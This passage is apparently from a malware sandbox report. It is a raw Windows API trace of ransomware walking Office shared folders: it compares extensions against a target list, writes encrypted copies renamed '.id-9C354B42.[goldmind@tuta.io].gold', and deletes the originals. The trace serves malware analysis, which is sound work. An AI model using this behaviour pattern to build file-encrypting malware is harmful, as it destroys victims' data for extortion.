lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x690, lpOverlapped=0x0) returned 1 [0042.967] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0042.967] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.967] SetEndOfFile (hFile=0x204) returned 1 [0042.967] CloseHandle (hObject=0x204) returned 1 [0042.967] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0042.967] SetEndOfFile (hFile=0x19c) returned 1 [0042.968] CloseHandle (hObject=0x19c) returned 1 [0042.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.968] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0042.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.968] lstrlenW (lpString=".doc") returned 4 [0042.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.969] lstrlenW (lpString=".docx") returned 5 [0042.969] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.969] lstrlenW (lpString=".pdf") returned 4 [0042.969] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString=".xls") returned 4 [0042.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString=".xlsx") returned 5 [0042.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.969] lstrlenW (lpString=".ppt") returned 4 [0042.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString=".zip") returned 4 [0042.969] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString=".rar") returned 4 [0042.969] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString=".bz2") returned 4 [0042.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.969] lstrlenW (lpString=".7z") returned 3 [0042.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString=".dbf") returned 4 [0042.969] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString=".1cd") returned 4 [0042.969] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString=".jpg") returned 4 [0042.969] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString=".doc") returned 4 [0042.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.969] lstrlenW (lpString=".docx") returned 5 [0042.969] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.969] lstrlenW (lpString=".pdf") returned 4 [0042.969] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString=".xls") returned 4 [0042.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString=".xlsx") returned 5 [0042.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.969] lstrlenW (lpString=".ppt") returned 4 [0042.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.969] lstrlenW (lpString=".zip") returned 4 [0042.970] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.970] lstrlenW (lpString=".rar") returned 4 [0042.970] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.970] lstrlenW (lpString=".bz2") returned 4 [0042.970] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.970] lstrlenW (lpString=".7z") returned 3 [0042.970] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.970] lstrlenW (lpString=".dbf") returned 4 [0042.970] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.970] lstrlenW (lpString=".1cd") returned 4 [0042.970] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0042.970] lstrlenW (lpString=".jpg") returned 4 [0042.970] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.970] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.970] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.379] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=21812) returned 1 [0043.379] CloseHandle (hObject=0x210) returned 1 [0043.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0043.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.380] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.380] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.380] GetLastError () returned 0x0 [0043.380] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5534, lpOverlapped=0x0) returned 1 [0043.469] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5540, lpOverlapped=0x0) returned 1 [0043.470] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.470] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.470] SetEndOfFile (hFile=0x214) returned 1 [0043.470] CloseHandle (hObject=0x214) returned 1 [0043.471] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.471] SetEndOfFile (hFile=0x210) returned 1 [0043.472] CloseHandle (hObject=0x210) returned 1 [0043.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.472] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0043.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.472] lstrlenW (lpString=".doc") returned 4 [0043.472] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.472] lstrlenW (lpString=".docx") returned 5 [0043.472] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.472] lstrlenW (lpString=".pdf") returned 4 [0043.472] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.472] lstrlenW (lpString=".xls") returned 4 [0043.472] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.472] lstrlenW (lpString=".xlsx") returned 5 [0043.472] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.472] lstrlenW (lpString=".ppt") returned 4 [0043.472] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".zip") returned 4 [0043.473] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString=".rar") returned 4 [0043.473] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString=".bz2") returned 4 [0043.473] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString=".7z") returned 3 [0043.473] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".dbf") returned 4 [0043.473] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".1cd") returned 4 [0043.473] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".jpg") returned 4 [0043.473] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".doc") returned 4 [0043.473] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString=".docx") returned 5 [0043.473] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.473] lstrlenW (lpString=".pdf") returned 4 [0043.473] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString=".xls") returned 4 [0043.473] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString=".xlsx") returned 5 [0043.473] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.473] lstrlenW (lpString=".ppt") returned 4 [0043.473] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".zip") returned 4 [0043.473] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString=".rar") returned 4 [0043.473] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.473] lstrlenW (lpString=".bz2") returned 4 [0043.473] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString=".7z") returned 3 [0043.473] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".dbf") returned 4 [0043.473] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".1cd") returned 4 [0043.473] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0043.473] lstrlenW (lpString=".jpg") returned 4 [0043.473] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.474] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.474] lstrlenW (lpString="VBCN6.CHM") returned 9 [0043.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.474] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=109718) returned 1 [0043.474] CloseHandle (hObject=0x210) returned 1 [0043.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0043.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.474] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.474] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.475] GetLastError () returned 0x0 [0043.475] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0043.540] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0043.542] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.542] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.542] SetEndOfFile (hFile=0x214) returned 1 [0043.542] CloseHandle (hObject=0x214) returned 1 [0043.542] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.542] SetEndOfFile (hFile=0x210) returned 1 [0043.543] CloseHandle (hObject=0x210) returned 1 [0043.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.543] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.562] lstrlenW (lpString=".doc") returned 4 [0043.562] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString=".docx") returned 5 [0043.562] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.562] lstrlenW (lpString=".pdf") returned 4 [0043.562] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString=".xls") returned 4 [0043.562] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString=".xlsx") returned 5 [0043.562] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.562] lstrlenW (lpString=".ppt") returned 4 [0043.562] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.562] lstrlenW (lpString=".zip") returned 4 [0043.562] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString=".rar") returned 4 [0043.562] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString=".bz2") returned 4 [0043.562] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.562] lstrlenW (lpString=".7z") returned 3 [0043.562] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.562] lstrlenW (lpString=".dbf") returned 4 [0043.562] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.562] lstrlenW (lpString=".1cd") returned 4 [0043.562] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.562] lstrlenW (lpString=".jpg") returned 4 [0043.563] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.563] lstrlenW (lpString=".doc") returned 4 [0043.563] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString=".docx") returned 5 [0043.563] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.563] lstrlenW (lpString=".pdf") returned 4 [0043.563] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString=".xls") returned 4 [0043.563] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString=".xlsx") returned 5 [0043.563] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.563] lstrlenW (lpString=".ppt") returned 4 [0043.563] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.563] lstrlenW (lpString=".zip") returned 4 [0043.563] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString=".rar") returned 4 [0043.563] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString=".bz2") returned 4 [0043.563] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.563] lstrlenW (lpString=".7z") returned 3 [0043.563] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.563] lstrlenW (lpString=".dbf") returned 4 [0043.563] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.563] lstrlenW (lpString=".1cd") returned 4 [0043.563] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0043.563] lstrlenW (lpString=".jpg") returned 4 [0043.563] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.563] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.563] lstrlenW (lpString="VBHW6.CHM") returned 9 [0043.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.564] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=58026) returned 1 [0043.564] CloseHandle (hObject=0x210) returned 1 [0043.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0043.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.564] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.564] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.564] GetLastError () returned 0x0 [0043.564] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0043.567] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2eefc9c, 